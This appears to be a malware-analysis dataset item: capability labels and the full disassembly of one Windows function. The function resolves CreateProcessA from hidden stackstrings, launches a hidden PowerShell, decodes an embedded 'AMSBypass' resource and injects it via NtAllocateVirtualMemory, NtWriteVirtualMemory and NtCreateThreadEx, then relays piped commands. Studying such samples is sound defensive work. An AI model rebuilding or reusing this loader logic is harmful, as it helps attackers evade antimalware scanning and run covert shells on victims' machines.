Function at 0x140001ae0
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes
Extract resource via kernel32 functions
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [r11 - 0x468]
sub rsp, 0x540
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov qword [r11 + 8], r12
xor edx, edx
mov byte [rsp + 0x60], cl
mov r8d, 0x3e8
mov qword [r11 + 0x10], r14
lea rcx, [rbp + 0x40]
mov qword [r11 + 0x18], r15
call sub.VCRUNTIME140.dll_memset
xor r13d, r13d
mov dword [rbp - 0x70], 0x18
xor r9d, r9d
mov qword [rbp - 0x68], r13
lea r8, [rbp - 0x70]
mov dword [rbp - 0x60], 1
lea rdx, [0x140006648]
lea rcx, [0x140006650]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [0x140006638]
lea rcx, [0x140006640]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
lea r8d, [r13 + 0x68]
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x140006638]
lea rcx, str.kernel32.dll
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x18], rax
mov rax, qword [0x140006650]
mov qword [rbp + 0x10], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov byte [rbp + 0x3e], al
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 4], pe_nt_image_headers64
mov dword [rbp + 0x30], 0x61657243
mov dword [rbp + 0x34], 0x72506574
mov dword [rbp + 0x38], 0x7365636f
mov word [rbp + 0x3c], 0x4173
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
mov esi, r13d
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rcx + rax + 0x88]
add rdx, rax
mov r12d, dword [rdx + 0x18]
test r12, r12
je 0x140001c5e
mov ebx, dword [rdx + 0x20]
mov edi, dword [rdx + 0x24]
add rbx, rax
mov r13d, dword [rdx + 0x1c]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, word [rdi]
lea rdx, [rbp + 0x30]
mov ecx, dword [rbx]
mov r8d, 0x400
add rcx, r15
lea r14, [rax*4]
add r14, r13
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001ea1
inc rsi
add rdi, 2
add rbx, 4
cmp rsi, r12
jb 0x140001c20
xor r13d, r13d
mov rax, r13
lea rcx, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x40], rcx
lea rcx, str.C:WindowsSystem32WindowsPowershell_v1.0powershell.exe
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call rax
cmp byte [rsp + 0x60], 0
mov r15, qword [rsp + 0x580]
mov r12, qword [rsp + 0x570]
je 0x140001ec2
lea r8, str.AMSBypass
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
lea r8d, [rdi - 1]
mov edx, r13d
cmp edi, 0x20
jb 0x140001d6c
movdqa xmm2, xmmword [0x140004480]
lea rax, [rsi + 0x10]
and edi, 0x1f
mov ecx, r8d
sub ecx, edi
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add edx, 0x20
lea rax, [rax + 0x20]
psubb xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
psubb xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp edx, ecx
jbe 0x140001d40
cmp edx, r8d
ja 0x140001d8d
movsxd rcx, edx
add rcx, rsi
sub r8d, edx
lea eax, [r8 + 1]
nop dword [rax]
add byte [rcx], 0xef
lea rcx, [rcx + 1]
sub rax, 1
jne 0x140001d80
mov rcx, qword [0x140006658]
lea rdx, str.NtAllocateVirtualMemory
mov rbx, qword [rsp + 0x78]
mov qword [rbp - 0x58], r14
call fcn.140001020
lea r9, [rbp - 0x58]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov qword [rsp + 0x70], r13
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x20], 0x3000
mov rcx, rbx
call rax
mov rcx, qword [0x140006658]
lea rdx, str.NtWriteVirtualMemory
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
call fcn.140001020
mov r9, r14
mov qword [rsp + 0x20], r13
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call rax
mov r8, r14
mov edx, 0x61
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140006658]
lea rdx, str.NtCreateThreadEx
mov rbx, qword [rsp + 0x78]
call fcn.140001020
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], r13
mov r9, rbx
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x68], r13
call rax
cmp qword [rsp + 0x68], 0
je 0x140001eb0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140006658]
lea rdx, str.NtWriteVirtualMemory
mov rbx, qword [rsp + 0x78]
call fcn.140001020
mov r9, r14
mov qword [rsp + 0x20], r13
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call rax
jmp 0x140001ec2
mov eax, dword [r14 + r15]
add rax, r15
xor r13d, r13d
jmp 0x140001c61
mov r8d, 0x17
lea rdx, str._n_ERROR_TO_Bypass_AMSI_
call fcn.140001390
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [0x140006658]
lea rdx, str.NtCreateThreadEx
mov rbx, rax
call fcn.140001020
mov qword [rsp + 0x50], r13
lea rcx, [0x1400019b0]
mov qword [rsp + 0x48], r13
mov r9, rbx
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x68], r13
call rax
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x578]
test rsi, rsi
je 0x140002032
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x3e8
lea rdx, [rbp + 0x40]
call fcn.140001220
mov r8d, 4
movsxd rdi, eax
lea rdx, [0x1400043f8]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140002032
nop word [rax + rax]
mov r8d, 4
lea rdx, str.EXIT
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140002032
cmp rdi, 0xffffffffffffffff
je 0x140002032
mov rcx, qword [0x140006658]
lea rdx, str.NtWriteFile
mov rbx, qword [0x140006648]
call fcn.140001020
mov qword [rsp + 0x40], r13
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x38], r13
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov qword [rsp + 0x28], rcx
xor edx, edx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call rax
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x3e8
lea rdx, [rbp + 0x40]
call fcn.140001220
mov r8d, 4
movsxd rdi, eax
lea rdx, [0x1400043f8]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001f80
mov rcx, qword [0x140006658]
lea rdx, str.NtTerminateThread
call fcn.140001020
or edx, 0xffffffff
mov rcx, rsi
call rax
mov rcx, qword [0x140006658]
lea rdx, str.NtTerminateProcess
mov rbx, qword [rsp + 0x78]
call fcn.140001020
or edx, 0xffffffff
mov rcx, rbx
call rax
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.140002380
add rsp, 0x540
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret